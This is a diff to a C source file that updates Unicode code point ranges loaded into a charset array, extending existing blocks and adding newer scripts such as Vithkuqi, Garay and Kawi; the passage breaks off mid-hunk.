@@ -836,7 +830,7 @@ void init()
 		charset[i++] = c++;
 // 20A0..20CF; Currency Symbols
 	c = 0x20a0;		// from EURO-CURRENCY SIGN
-	while (c <= 0x20bf)	// ..to BITCOIN SIGN
+	while (c <= 0x20c0)	// ..to SOM SIGN
 		charset[i++] = c++;
 // 20D0..20FF; Combining Diacritical Marks for Symbols
 	c = 0x20d0;		// from COMBINING LEFT HARPOON ABOVE
@@ -864,7 +858,7 @@ void init()
 		charset[i++] = c++;
 // 2400..243F; Control Pictures
 	c = 0x2400;		// from SYMBOL FOR NULL
-	while (c <= 0x2426)	// ..to SYMBOL FOR SUBSTITUTE FORM TWO
+	while (c <= 0x2429)	// ..to SYMBOL FOR DELETE MEDIUM SHADE FORM
 		charset[i++] = c++;
 // 2440..245F; Optical Character Recognition
 	c = 0x2440;		// from OCR HOOK
@@ -930,10 +924,7 @@ void init()
 		charset[i++] = c++;
 // 2C00..2C5F; Glagolitic
 	c = 0x2c00;		// from GLAGOLITIC CAPITAL LETTER AZU
-	while (c <= 0x2c2e)	// ..to GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE
-		charset[i++] = c++;
-	c = 0x2c30;		// from GLAGOLITIC SMALL LETTER AZU
-	while (c <= 0x2c5e)	// ..to GLAGOLITIC SMALL LETTER LATINATE MYSLITE
+	while (c <= 0x2c5f)	// ..to GLAGOLITIC SMALL LETTER CAUDATE CHRIVI
 		charset[i++] = c++;
 // 2C60..2C7F; Latin Extended-C
 	c = 0x2c60;		// from LATIN CAPITAL LETTER L WITH DOUBLE BAR
@@ -994,7 +985,7 @@ void init()
 		charset[i++] = c++;
 // 2E00..2E7F; Supplemental Punctuation
 	c = 0x2e00;		// from RIGHT ANGLE SUBSTITUTION MARKER
-	while (c <= 0x2e52)	// ..to TIRONIAN SIGN CAPITAL ET
+	while (c <= 0x2e5d)	// ..to OBLIQUE HYPHEN
 		charset[i++] = c++;
 // 2E80..2EFF; CJK Radicals Supplement
 	c = 0x2e80;		// from CJK RADICAL REPEAT
@@ -1009,7 +1000,7 @@ void init()
 		charset[i++] = c++;
 // 2FF0..2FFF; Ideographic Description Characters
 	c = 0x2ff0;		// from IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO RIGHT
-	while (c <= 0x2ffb)	// ..to IDEOGRAPHIC DESCRIPTION CHARACTER OVERLAID
+	while (c <= 0x2fff)	// ..to IDEOGRAPHIC DESCRIPTION CHARACTER ROTATION
 		charset[i++] = c++;
 // 3000..303F; CJK Symbols and Punctuation
 	c = 0x3000;		// from IDEOGRAPHIC SPACE
@@ -1044,8 +1035,9 @@ void init()
 		charset[i++] = c++;
 // 31C0..31EF; CJK Strokes
 	c = 0x31c0;		// from CJK STROKE T
-	while (c <= 0x31e3)	// ..to CJK STROKE Q
+	while (c <= 0x31e5)	// ..to CJK STROKE SZP
 		charset[i++] = c++;
+	charset[i++] = 0x31ef;	// IDEOGRAPHIC DESCRIPTION CHARACTER SUBTRACTION
 // 31F0..31FF; Katakana Phonetic Extensions
 	c = 0x31f0;		// from KATAKANA LETTER SMALL KU
 	while (c <= 0x31ff)	// ..to KATAKANA LETTER SMALL RO
@@ -1071,7 +1063,7 @@ void init()
 		charset[i++] = c++;
 // 4E00..9FFF; CJK Unified Ideographs
 	c = 0x4e00;		// from <CJK Ideograph, First>
-	while (c <= 0x9ffc)	// ..to <CJK Ideograph, Last>
+	while (c <= 0x9fff)	// ..to <CJK Ideograph, Last>
 		charset[i++] = c++;
 // A000..A48F; Yi Syllables
 	c = 0xa000;		// from YI SYLLABLE IT
@@ -1103,12 +1095,14 @@ void init()
 		charset[i++] = c++;
 // A720..A7FF; Latin Extended-D
 	c = 0xa720;		// from MODIFIER LETTER STRESS AND HIGH TONE
-	while (c <= 0xa7bf)	// ..to LATIN SMALL LETTER GLOTTAL U
+	while (c <= 0xa7cd)	// ..to LATIN SMALL LETTER S WITH DIAGONAL STROKE
 		charset[i++] = c++;
-	c = 0xa7c2;		// from LATIN CAPITAL LETTER ANGLICANA W
-	while (c <= 0xa7ca)	// ..to LATIN SMALL LETTER S WITH SHORT STROKE OVERLAY
+	charset[i++] = 0xa7d0;	// LATIN CAPITAL LETTER CLOSED INSULAR G
+	charset[i++] = 0xa7d1;	// LATIN SMALL LETTER CLOSED INSULAR G
+	c = 0xa7d5;		// from LATIN SMALL LETTER DOUBLE WYNN
+	while (c <= 0xa7dc)	// ..to LATIN CAPITAL LETTER LAMBDA WITH STROKE
 		charset[i++] = c++;
-	c = 0xa7f5;		// from LATIN CAPITAL LETTER REVERSED HALF H
+	c = 0xa7f2;		// from MODIFIER LETTER CAPITAL C
 	while (c <= 0xa7ff)	// ..to LATIN EPIGRAPHIC LETTER ARCHAIC M
 		charset[i++] = c++;
 // A800..A82F; Syloti Nagri
@@ -1263,19 +1257,16 @@ void init()
 		charset[i++] = c++;
 // FB50..FDFF; Arabic Presentation Forms-A
 	c = 0xfb50;		// from ARABIC LETTER ALEF WASLA ISOLATED FORM
-	while (c <= 0xfbc1)	// ..to ARABIC SYMBOL SMALL TAH BELOW
+	while (c <= 0xfbc2)	// ..to ARABIC SYMBOL WASLA ABOVE
 		charset[i++] = c++;
 	c = 0xfbd3;		// from ARABIC LETTER NG ISOLATED FORM
-	while (c <= 0xfd3f)	// ..to ORNATE RIGHT PARENTHESIS
-		charset[i++] = c++;
-	c = 0xfd50;		// from ARABIC LIGATURE TEH WITH JEEM WITH MEEM INITIAL FORM
 	while (c <= 0xfd8f)	// ..to ARABIC LIGATURE MEEM WITH KHAH WITH MEEM INITIAL FORM
 		charset[i++] = c++;
 	c = 0xfd92;		// from ARABIC LIGATURE MEEM WITH JEEM WITH KHAH INITIAL FORM
 	while (c <= 0xfdc7)	// ..to ARABIC LIGATURE NOON WITH JEEM WITH YEH FINAL FORM
 		charset[i++] = c++;
 	c = 0xfdf0;		// from ARABIC LIGATURE SALLA USED AS KORANIC STOP SIGN ISOLATED FORM
-	while (c <= 0xfdfd)	// ..to ARABIC LIGATURE BISMILLAH AR-RAHMAN AR-RAHEEM
+	while (c <= 0xfdff)	// ..to ARABIC LIGATURE AZZA WA JALL
 		charset[i++] = c++;
 // FE00..FE0F; Variation Selectors
 	c = 0xfe00;		// from VARIATION SELECTOR-1
@@ -1448,6 +1439,33 @@ void init()
 	while (c <= 0x10563)	// ..to CAUCASIAN ALBANIAN LETTER KIW
 		charset[i++] = c++;
 	charset[i++] = 0x1056f;	// CAUCASIAN ALBANIAN CITATION MARK
+// 10570..105BF; Vithkuqi
+	c = 0x10570;		// from VITHKUQI CAPITAL LETTER A
+	while (c <= 0x1057a)	// ..to VITHKUQI CAPITAL LETTER GA
+		charset[i++] = c++;
+	c = 0x1057c;		// from VITHKUQI CAPITAL LETTER HA
+	while (c <= 0x1058a)	// ..to VITHKUQI CAPITAL LETTER RE
+		charset[i++] = c++;
+	c = 0x1058c;		// from VITHKUQI CAPITAL LETTER SE
+	while (c <= 0x10592)	// ..to VITHKUQI CAPITAL LETTER XE
+		charset[i++] = c++;
+	charset[i++] = 0x10594;	// VITHKUQI CAPITAL LETTER Y
+	charset[i++] = 0x10595;	// VITHKUQI CAPITAL LETTER ZE
+	c = 0x10597;		// from VITHKUQI SMALL LETTER A
+	while (c <= 0x105a1)	// ..to VITHKUQI SMALL LETTER GA
+		charset[i++] = c++;
+	c = 0x105a3;		// from VITHKUQI SMALL LETTER HA
+	while (c <= 0x105b1)	// ..to VITHKUQI SMALL LETTER RE
+		charset[i++] = c++;
+	c = 0x105b3;		// from VITHKUQI SMALL LETTER SE
+	while (c <= 0x105b9)	// ..to VITHKUQI SMALL LETTER XE
+		charset[i++] = c++;
+	charset[i++] = 0x105bb;	// VITHKUQI SMALL LETTER Y
+	charset[i++] = 0x105bc;	// VITHKUQI SMALL LETTER ZE
+// 105C0..105FF; Todhri
+	c = 0x105c0;		// from TODHRI LETTER A
+	while (c <= 0x105f3)	// ..to TODHRI LETTER OO
+		charset[i++] = c++;
 // 10600..1077F; Linear A
 	c = 0x10600;		// from LINEAR A SIGN AB001
 	while (c <= 0x10736)	// ..to LINEAR A SIGN A664
@@ -1458,6 +1476,16 @@ void init()
 	c = 0x10760;		// from LINEAR A SIGN A800
 	while (c <= 0x10767)	// ..to LINEAR A SIGN A807
 		charset[i++] = c++;
+// 10780..107BF; Latin Extended-F
+	c = 0x10780;		// from MODIFIER LETTER SMALL CAPITAL AA
+	while (c <= 0x10785)	// ..to MODIFIER LETTER SMALL B WITH HOOK
+		charset[i++] = c++;
+	c = 0x10787;		// from MODIFIER LETTER SMALL DZ DIGRAPH
+	while (c <= 0x107b0)	// ..to MODIFIER LETTER SMALL V WITH RIGHT HOOK
+		charset[i++] = c++;
+	c = 0x107b2;		// from MODIFIER LETTER SMALL CAPITAL Y
+	while (c <= 0x107ba)	// ..to MODIFIER LETTER SMALL S WITH CURL
+		charset[i++] = c++;
 // 10800..1083F; Cypriot Syllabary
 	c = 0x10800;		// from CYPRIOT SYLLABLE A
 	while (c <= 0x10805)	// ..to CYPRIOT SYLLABLE JA
@@ -1610,6 +1638,15 @@ void init()
 	c = 0x10d30;		// from HANIFI ROHINGYA DIGIT ZERO
 	while (c <= 0x10d39)	// ..to HANIFI ROHINGYA DIGIT NINE
 		charset[i++] = c++;
+// 10D40..10D8F; Garay
+	c = 0x10d40;		// from GARAY DIGIT ZERO
+	while (c <= 0x10d65)	// ..to GARAY CAPITAL LETTER OLD NA
+		charset[i++] = c++;
+	c = 0x10d69;		// from GARAY VOWEL SIGN E
+	while (c <= 0x10d85)	// ..to GARAY SMALL LETTER OLD NA
+		charset[i++] = c++;
+	charset[i++] = 0x10d8e;	// GARAY PLUS SIGN
+	charset[i++] = 0x10d8f;	// GARAY MINUS SIGN
 // 10E60..10E7F; Rumi Numeral Symbols
 	c = 0x10e60;		// from RUMI DIGIT ONE
 	while (c <= 0x10e7e)	// ..to RUMI FRACTION TWO THIRDS
@@ -1622,6 +1659,12 @@ void init()
 	charset[i++] = 0x10ead;	// YEZIDI HYPHENATION MARK
 	charset[i++] = 0x10eb0;	// YEZIDI LETTER LAM WITH DOT ABOVE
 	charset[i++] = 0x10eb1;	// YEZIDI LETTER YOT WITH CIRCUMFLEX ABOVE
+// 10EC0..10EFF; Arabic Extended-C
+	charset[i++] = 0x10ec2;	// ARABIC LETTER DAL WITH TWO DOTS VERTICALLY BELOW
+	charset[i++] = 0x10ec4;	// ARABIC LETTER KAF WITH TWO DOTS VERTICALLY BELOW
+	c = 0x10efc;		// from ARABIC COMBINING ALEF OVERLAY
+	while (c <= 0x10eff)	// ..to ARABIC SMALL LOW WORD MADDA
+		charset[i++] = c++;
 // 10F00..10F2F; Old Sogdian
 	c = 0x10f00;		// from OLD SOGDIAN LETTER ALEPH
 	while (c <= 0x10f27)	// ..to OLD SOGDIAN LIGATURE AYIN-DALETH
@@ -1630,6 +1673,10 @@ void init()
 	c = 0x10f30;		// from SOGDIAN LETTER ALEPH
 	while (c <= 0x10f59)	// ..to SOGDIAN PUNCTUATION HALF CIRCLE WITH DOT
 		charset[i++] = c++;
+// 10F70..10FAF; Old Uyghur
+	c = 0x10f70;		// from OLD UYGHUR LETTER ALEPH
+	while (c <= 0x10f89)	// ..to OLD UYGHUR PUNCTUATION FOUR DOTS
+		charset[i++] = c++;
 // 10FB0..10FDF; Chorasmian
 	c = 0x10fb0;		// from CHORASMIAN LETTER ALEPH
 	while (c <= 0x10fcb)	// ..to CHORASMIAN NUMBER ONE HUNDRED
@@ -1643,12 +1690,12 @@ void init()
 	while (c <= 0x1104d)	// ..to BRAHMI PUNCTUATION LOTUS
 		charset[i++] = c++;
 	c = 0x11052;		// from BRAHMI NUMBER ONE
-	while (c <= 0x1106f)	// ..to BRAHMI DIGIT NINE
+	while (c <= 0x11075)	// ..to BRAHMI LETTER OLD TAMIL LLA
 		charset[i++] = c++;
 	charset[i++] = 0x1107f;	// BRAHMI NUMBER JOINER
 // 11080..110CF; Kaithi
 	c = 0x11080;		// from KAITHI SIGN CANDRABINDU
-	while (c <= 0x110c1)	// ..to KAITHI DOUBLE DANDA
+	while (c <= 0x110c2)	// ..to KAITHI VOWEL SIGN VOCALIC R
 		charset[i++] = c++;
 	charset[i++] = 0x110cd;	// KAITHI NUMBER SIGN ABOVE
 // 110D0..110FF; Sora Sompeng
@@ -1682,7 +1729,7 @@ void init()
 	while (c <= 0x11211)	// ..to KHOJKI LETTER JJA
 		charset[i++] = c++;
 	c = 0x11213;		// from KHOJKI LETTER NYA
-	while (c <= 0x1123e)	// ..to KHOJKI SIGN SUKUN
+	while (c <= 0x11241)	// ..to KHOJKI VOWEL SIGN VOCALIC R
 		charset[i++] = c++;
 // 11280..112AF; Multani
 	c = 0x11280;		// from MULTANI LETTER A
@@ -1740,6 +1787,26 @@ void init()
 	c = 0x11370;		// from COMBINING GRANTHA LETTER A
 	while (c <= 0x11374)	// ..to COMBINING GRANTHA LETTER PA
 		charset[i++] = c++;
+// 11380..113FF; Tulu-Tigalari
+	c = 0x11380;		// from TULU-TIGALARI LETTER A
+	while (c <= 0x11389)	// ..to TULU-TIGALARI LETTER VOCALIC LL
+		charset[i++] = c++;
+	c = 0x11390;		// from TULU-TIGALARI LETTER OO
+	while (c <= 0x113b5)	// ..to TULU-TIGALARI LETTER LLLA
+		charset[i++] = c++;
+	c = 0x113b7;		// from TULU-TIGALARI SIGN AVAGRAHA
+	while (c <= 0x113c0)	// ..to TULU-TIGALARI VOWEL SIGN VOCALIC LL
+		charset[i++] = c++;
+	c = 0x113c7;		// from TULU-TIGALARI VOWEL SIGN OO
+	while (c <= 0x113ca)	// ..to TULU-TIGALARI SIGN CANDRA ANUNASIKA
+		charset[i++] = c++;
+	c = 0x113cc;		// from TULU-TIGALARI SIGN ANUSVARA
+	while (c <= 0x113d5)	// ..to TULU-TIGALARI DOUBLE DANDA
+		charset[i++] = c++;
+	charset[i++] = 0x113d7;	// TULU-TIGALARI SIGN OM PUSHPIKA
+	charset[i++] = 0x113d8;	// TULU-TIGALARI SIGN SHRII PUSHPIKA
+	charset[i++] = 0x113e1;	// TULU-TIGALARI VEDIC TONE SVARITA
+	charset[i++] = 0x113e2;	// TULU-TIGALARI VEDIC TONE ANUDATTA
 // 11400..1147F; Newa
 	c = 0x11400;		// from NEWA LETTER A
 	while (c <= 0x1145b)	// ..to NEWA PLACEHOLDER MARK
@@ -1774,12 +1841,16 @@ void init()
 		charset[i++] = c++;
 // 11680..116CF; Takri
 	c = 0x11680;		// from TAKRI LETTER A
-	while (c <= 0x116b8)	// ..to TAKRI LETTER ARCHAIC KHA
+	while (c <= 0x116b9)	// ..to TAKRI ABBREVIATION SIGN
 		charset[i++] = c++;
 	c = 0x116c0;		// from TAKRI DIGIT ZERO
 	while (c <= 0x116c9)	// ..to TAKRI DIGIT NINE
 		charset[i++] = c++;
-// 11700..1173F; Ahom
+// 116D0..116FF; Myanmar Extended-C
+	c = 0x116d0;		// from MYANMAR PAO DIGIT ZERO
+	while (c <= 0x116e3)	// ..to MYANMAR EASTERN PWO KAREN DIGIT NINE
+		charset[i++] = c++;
+// 11700..1174F; Ahom
 	c = 0x11700;		// from AHOM LETTER KA
 	while (c <= 0x1171a)	// ..to AHOM LETTER ALTERNATE BA
 		charset[i++] = c++;
@@ -1787,7 +1858,7 @@ void init()
 	while (c <= 0x1172b)	// ..to AHOM SIGN KILLER
 		charset[i++] = c++;
 	c = 0x11730;		// from AHOM DIGIT ZERO
-	while (c <= 0x1173f)	// ..to AHOM SYMBOL VI
+	while (c <= 0x11746)	// ..to AHOM LETTER LLA
 		charset[i++] = c++;
 // 11800..1184F; Dogra
 	c = 0x11800;		// from DOGRA LETTER A
@@ -1836,10 +1907,25 @@ void init()
 	c = 0x11a50;		// from SOYOMBO LETTER A
 	while (c <= 0x11aa2)	// ..to SOYOMBO TERMINAL MARK-2
 		charset[i++] = c++;
+// 11AB0..11ABF; Unified Canadian Aboriginal Syllabics Extended-A
+	c = 0x11ab0;		// from CANADIAN SYLLABICS NATTILIK HI
+	while (c <= 0x11abf)	// ..to CANADIAN SYLLABICS SPA
+		charset[i++] = c++;
 // 11AC0..11AFF; Pau Cin Hau
 	c = 0x11ac0;		// from PAU CIN HAU LETTER PA
 	while (c <= 0x11af8)	// ..to PAU CIN HAU GLOTTAL STOP FINAL
 		charset[i++] = c++;
+// 11B00..11B5F; Devanagari Extended-A
+	c = 0x11b00;		// from DEVANAGARI HEAD MARK
+	while (c <= 0x11b09)	// ..to DEVANAGARI SIGN MINDU
+		charset[i++] = c++;
+// 11BC0..11BFF; Sunuwar
+	c = 0x11bc0;		// from SUNUWAR LETTER DEVI
+	while (c <= 0x11be1)	// ..to SUNUWAR SIGN PVO
+		charset[i++] = c++;
+	c = 0x11bf0;		// from SUNUWAR DIGIT ZERO
+	while (c <= 0x11bf9)	// ..to SUNUWAR DIGIT NINE
+		charset[i++] = c++;
 // 11C00..11C6F; Bhaiksuki
 	c = 0x11c00;		// from BHAIKSUKI LETTER A
 	while (c <= 0x11c08)	// ..to BHAIKSUKI LETTER VOCALIC L
@@ -1901,6 +1987,16 @@ void init()
 	c = 0x11ee0;		// from MAKASAR LETTER KA
 	while (c <= 0x11ef8)	// ..to MAKASAR END OF SECTION
 		charset[i++] = c++;
+// 11F00..11F5F; Kawi
+	c = 0x11f00;		// from KAWI SIGN CANDRABINDU
+	while (c <= 0x11f10)	// ..to KAWI LETTER O
+		charset[i++] = c++;
+	c = 0x11f12;		// from KAWI LETTER KA
+	while (c <= 0x11f3a)	// ..to KAWI VOWEL SIGN VOCALIC R
+		charset[i++] = c++;
+	c = 0x11f3e;		// from KAWI VOWEL SIGN E
+	while (c <= 0x11f5a)	// ..to KAWI SIGN NUKTA
+		charset[i++] = c++;
 // 11FB0..11FBF; Lisu Supplement
 	charset[i++] = 0x11fb0;	// LISU LETTER YHA
 // 11FC0..11FFF; Tamil Supplement
@@ -1923,18 +2019,30 @@ void init()
 	c = 0x12480;		// from CUNEIFORM SIGN AB TIMES NUN TENU
 	while (c <= 0x12543)	// ..to CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU
 		charset[i++] = c++;
+// 12F90..12FFF; Cypro-Minoan
+	c = 0x12f90;		// from CYPRO-MINOAN SIGN CM001
+	while (c <= 0x12ff2)	// ..to CYPRO-MINOAN SIGN CM302
+		charset[i++] = c++;
 // 13000..1342F; Egyptian Hieroglyphs
 	c = 0x13000;		// from EGYPTIAN HIEROGLYPH A001
-	while (c <= 0x1342e)	// ..to EGYPTIAN HIEROGLYPH AA032
+	while (c <= 0x1342f)	// ..to EGYPTIAN HIEROGLYPH V011D
 		charset[i++] = c++;
-// 13430..1343F; Egyptian Hieroglyph Format Controls
+// 13430..1345F; Egyptian Hieroglyph Format Controls
 	c = 0x13430;		// from EGYPTIAN HIEROGLYPH VERTICAL JOINER
-	while (c <= 0x13438)	// ..to EGYPTIAN HIEROGLYPH END SEGMENT
+	while (c <= 0x13455)	// ..to EGYPTIAN HIEROGLYPH MODIFIER DAMAGED
+		charset[i++] = c++;
+// 13460..143FF; Egyptian Hieroglyphs Extended-A
+	c = 0x13460;		// from EGYPTIAN HIEROGLYPH-13460
+	while (c <= 0x143fa)	// ..to EGYPTIAN HIEROGLYPH-143FA
 		charset[i++] = c++;
 // 14400..1467F; Anatolian Hieroglyphs
 	c = 0x14400;		// from ANATOLIAN HIEROGLYPH A001
 	while (c <= 0x14646)	// ..to ANATOLIAN HIEROGLYPH A530
 		charset[i++] = c++;
+// 16100..1613F; Gurung Khema
+	c = 0x16100;		// from GURUNG KHEMA LETTER A
+	while (c <= 0x16139)	// ..to GURUNG KHEMA DIGIT NINE
+		charset[i++] = c++;
 // 16800..16A3F; Bamum Supplement
 	c = 0x16800;		// from BAMUM LETTER PHASE-A NGKUE MFON
 	while (c <= 0x16a38)	// ..to BAMUM LETTER PHASE-F VUEQ
@@ -1948,6 +2056,13 @@ void init()
 		charset[i++] = c++;
 	charset[i++] = 0x16a6e;	// MRO DANDA
 	charset[i++] = 0x16a6f;	// MRO DOUBLE DANDA
+// 16A70..16ACF; Tangsa
+	c = 0x16a70;		// from TANGSA LETTER OZ
+	while (c <= 0x16abe)	// ..to TANGSA LETTER ZA
+		charset[i++] = c++;
+	c = 0x16ac0;		// from TANGSA DIGIT ZERO
+	while (c <= 0x16ac9)	// ..to TANGSA DIGIT NINE
+		charset[i++] = c++;
 // 16AD0..16AFF; Bassa Vah
 	c = 0x16ad0;		// from BASSA VAH LETTER ENNI
 	while (c <= 0x16aed)	// ..to BASSA VAH LETTER I
@@ -1971,6 +2086,10 @@ void init()
 	c = 0x16b7d;		// from PAHAWH HMONG CLAN SIGN TSHEEJ
 	while (c <= 0x16b8f)	// ..to PAHAWH HMONG CLAN SIGN VWJ
 		charset[i++] = c++;
+// 16D40..16D7F; Kirat Rai
+	c = 0x16d40;		// from KIRAT RAI SIGN ANUSVARA
+	while (c <= 0x16d79)	// ..to KIRAT RAI DIGIT NINE
+		charset[i++] = c++;
 // 16E40..16E9F; Medefaidrin
 	c = 0x16e40;		// from MEDEFAIDRIN CAPITAL LETTER M
 	while (c <= 0x16e9a)	// ..to MEDEFAIDRIN EXCLAMATION OH
@@ -2003,17 +2122,27 @@ void init()
 	c = 0x18b00;		// from KHITAN SMALL SCRIPT CHARACTER-18B00
 	while (c <= 0x18cd5)	// ..to KHITAN SMALL SCRIPT CHARACTER-18CD5
 		charset[i++] = c++;
-// 18D00..18D8F; Tangut Supplement
+	charset[i++] = 0x18cff;	// KHITAN SMALL SCRIPT CHARACTER-18CFF
+// 18D00..18D7F; Tangut Supplement
 	c = 0x18d00;		// from <Tangut Ideograph Supplement, First>
 	while (c <= 0x18d08)	// ..to <Tangut Ideograph Supplement, Last>
 		charset[i++] = c++;
+// 1AFF0..1AFFF; Kana Extended-B
+	c = 0x1aff0;		// from KATAKANA LETTER MINNAN TONE-2
+	while (c <= 0x1aff3)	// ..to KATAKANA LETTER MINNAN TONE-5
+		charset[i++] = c++;
+	c = 0x1aff5;		// from KATAKANA LETTER MINNAN TONE-7
+	while (c <= 0x1affb)	// ..to KATAKANA LETTER MINNAN NASALIZED TONE-5
+		charset[i++] = c++;
+	charset[i++] = 0x1affd;	// KATAKANA LETTER MINNAN NASALIZED TONE-7
+	charset[i++] = 0x1affe;	// KATAKANA LETTER MINNAN NASALIZED TONE-8
 // 1B000..1B0FF; Kana Supplement
 	c = 0x1b000;		// from KATAKANA LETTER ARCHAIC E
 	while (c <= 0x1b0ff)	// ..to HENTAIGANA LETTER RE-2
 		charset[i++] = c++;
 // 1B100..1B12F; Kana Extended-A
 	c = 0x1b100;		// from HENTAIGANA LETTER RE-3
-	while (c <= 0x1b11e)	// ..to HENTAIGANA LETTER N-MU-MO-2
+	while (c <= 0x1b122)	// ..to KATAKANA LETTER ARCHAIC WU
 		charset[i++] = c++;
 // 1B130..1B16F; Small Kana Extension
 	charset[i++] = 0x1b150;	// HIRAGANA LETTER SMALL WI
@@ -2045,6 +2174,23 @@ void init()
 	c = 0x1bca0;		// from SHORTHAND FORMAT LETTER OVERLAP
 	while (c <= 0x1bca3)	// ..to SHORTHAND FORMAT UP STEP
 		charset[i++] = c++;
+// 1CC00..1CEBF; Symbols for Legacy Computing Supplement
+	c = 0x1cc00;		// from UP-POINTING GO-KART
+	while (c <= 0x1ccf9)	// ..to OUTLINED DIGIT NINE
+		charset[i++] = c++;
+	c = 0x1cd00;		// from BLOCK OCTANT-3
+	while (c <= 0x1ceb3)	// ..to BLACK RIGHT TRIANGLE CARET
+		charset[i++] = c++;
+// 1CF00..1CFCF; Znamenny Musical Notation
+	c = 0x1cf00;		// from ZNAMENNY COMBINING MARK GORAZDO NIZKO S KRYZHEM ON LEFT
+	while (c <= 0x1cf2d)	// ..to ZNAMENNY COMBINING MARK KRYZH ON LEFT
+		charset[i++] = c++;
+	c = 0x1cf30;		// from ZNAMENNY COMBINING TONAL RANGE MARK MRACHNO
+	while (c <= 0x1cf46)	// ..to ZNAMENNY PRIZNAK MODIFIER ROG
+		charset[i++] = c++;
+	c = 0x1cf50;		// from ZNAMENNY NEUME KRYUK
+	while (c <= 0x1cfc3)	// ..to ZNAMENNY NEUME PAUK
+		charset[i++] = c++;
 // 1D000..1D0FF; Byzantine Musical Symbols
 	c = 0x1d000;		// from BYZANTINE MUSICAL SYMBOL PSILI
 	while (c <= 0x1d0f5)	// ..to BYZANTINE MUSICAL SYMBOL GORGON NEO KATO
@@ -2054,12 +2200,16 @@ void init()
 	while (c <= 0x1d126)	// ..to MUSICAL SYMBOL DRUM CLEF-2
 		charset[i++] = c++;
 	c = 0x1d129;		// from MUSICAL SYMBOL MULTIPLE MEASURE REST
-	while (c <= 0x1d1e8)	// ..to MUSICAL SYMBOL KIEVAN FLAT SIGN
+	while (c <= 0x1d1ea)	// ..to MUSICAL SYMBOL KORON
 		charset[i++] = c++;
 // 1D200..1D24F; Ancient Greek Musical Notation
 	c = 0x1d200;		// from GREEK VOCAL NOTATION SYMBOL-1
 	while (c <= 0x1d245)	// ..to GREEK MUSICAL LEIMMA
 		charset[i++] = c++;
+// 1D2C0..1D2DF; Kaktovik Numerals
+	c = 0x1d2c0;		// from KAKTOVIK NUMERAL ZERO
+	while (c <= 0x1d2d3)	// ..to KAKTOVIK NUMERAL NINETEEN
+		charset[i++] = c++;
 // 1D2E0..1D2FF; Mayan Numerals
 	c = 0x1d2e0;		// from MAYAN NUMERAL ZERO
 	while (c <= 0x1d2f3)	// ..to MAYAN NUMERAL NINETEEN
@@ -2135,6 +2285,13 @@ void init()
 	c = 0x1daa1;		// from SIGNWRITING ROTATION MODIFIER-2
 	while (c <= 0x1daaf)	// ..to SIGNWRITING ROTATION MODIFIER-16
 		charset[i++] = c++;
+// 1DF00..1DFFF; Latin Extended-G
+	c = 0x1df00;		// from LATIN SMALL LETTER FENG DIGRAPH WITH TRILL
+	while (c <= 0x1df1e)	// ..to LATIN SMALL LETTER S WITH CURL
+		charset[i++] = c++;
+	c = 0x1df25;		// from LATIN SMALL LETTER D WITH MID-HEIGHT LEFT HOOK
+	while (c <= 0x1df2a)	// ..to LATIN SMALL LETTER T WITH MID-HEIGHT LEFT HOOK
+		charset[i++] = c++;
 // 1E000..1E02F; Glagolitic Supplement
 	c = 0x1e000;		// from COMBINING GLAGOLITIC LETTER AZU
 	while (c <= 0x1e006)	// ..to COMBINING GLAGOLITIC LETTER ZHIVETE
@@ -2150,6 +2307,11 @@ void init()
 	c = 0x1e026;		// from COMBINING GLAGOLITIC LETTER YO
 	while (c <= 0x1e02a)	// ..to COMBINING GLAGOLITIC LETTER FITA
 		charset[i++] = c++;
+// 1E030..1E08F; Cyrillic Extended-D
+	c = 0x1e030;		// from MODIFIER LETTER CYRILLIC SMALL A
+	while (c <= 0x1e06d)	// ..to MODIFIER LETTER CYRILLIC SMALL STRAIGHT U WITH STROKE
+		charset[i++] = c++;
+	charset[i++] = 0x1e08f;	// COMBINING CYRILLIC SMALL LETTER BYELORUSSIAN-UKRAINIAN I
 // 1E100..1E14F; Nyiakeng Puachue Hmong
 	c = 0x1e100;		// from NYIAKENG PUACHUE HMONG LETTER MA
 	while (c <= 0x1e12c)	// ..to NYIAKENG PUACHUE HMONG LETTER W
@@ -2162,11 +2324,36 @@ void init()
 		charset[i++] = c++;
 	charset[i++] = 0x1e14e;	// NYIAKENG PUACHUE HMONG LOGOGRAM NYAJ
 	charset[i++] = 0x1e14f;	// NYIAKENG PUACHUE HMONG CIRCLED CA
+// 1E290..1E2BF; Toto
+	c = 0x1e290;		// from TOTO LETTER PA
+	while (c <= 0x1e2ae)	// ..to TOTO SIGN RISING TONE
+		charset[i++] = c++;
 // 1E2C0..1E2FF; Wancho
 	c = 0x1e2c0;		// from WANCHO LETTER AA
 	while (c <= 0x1e2f9)	// ..to WANCHO DIGIT NINE
 		charset[i++] = c++;
 	charset[i++] = 0x1e2ff;	// WANCHO NGUN SIGN
+// 1E4D0..1E4FF; Nag Mundari
+	c = 0x1e4d0;		// from NAG MUNDARI LETTER O
+	while (c <= 0x1e4f9)	// ..to NAG MUNDARI DIGIT NINE
+		charset[i++] = c++;
+// 1E5D0..1E5FF; Ol Onal
+	c = 0x1e5d0;		// from OL ONAL LETTER O
+	while (c <= 0x1e5fa)	// ..to OL ONAL DIGIT NINE
+		charset[i++] = c++;
+	charset[i++] = 0x1e5ff;	// OL ONAL ABBREVIATION SIGN
+// 1E7E0..1E7FF; Ethiopic Extended-B
+	c = 0x1e7e0;		// from ETHIOPIC SYLLABLE HHYA
+	while (c <= 0x1e7e6)	// ..to ETHIOPIC SYLLABLE HHYO
+		charset[i++] = c++;
+	c = 0x1e7e8;		// from ETHIOPIC SYLLABLE GURAGE HHWA
+	while (c <= 0x1e7eb)	// ..to ETHIOPIC SYLLABLE HHWE
+		charset[i++] = c++;
+	charset[i++] = 0x1e7ed;	// ETHIOPIC SYLLABLE GURAGE MWI
+	charset[i++] = 0x1e7ee;	// ETHIOPIC SYLLABLE GURAGE MWEE
+	c = 0x1e7f0;		// from ETHIOPIC SYLLABLE GURAGE QWI
+	while (c <= 0x1e7fe)	// ..to ETHIOPIC SYLLABLE GURAGE PWEE
+		charset[i++] = c++;
 // 1E800..1E8DF; Mende Kikakui
 	c = 0x1e800;		// from MENDE KIKAKUI SYLLABLE M001 KI
 	while (c <= 0x1e8c4)	// ..to MENDE KIKAKUI SYLLABLE M060 NYON
@@ -2298,7 +2485,7 @@ void init()
 	c = 0x1f680;		// from ROCKET
 	while (c <= 0x1f6d7)	// ..to ELEVATOR
 		charset[i++] = c++;
-	c = 0x1f6e0;		// from HAMMER AND WRENCH
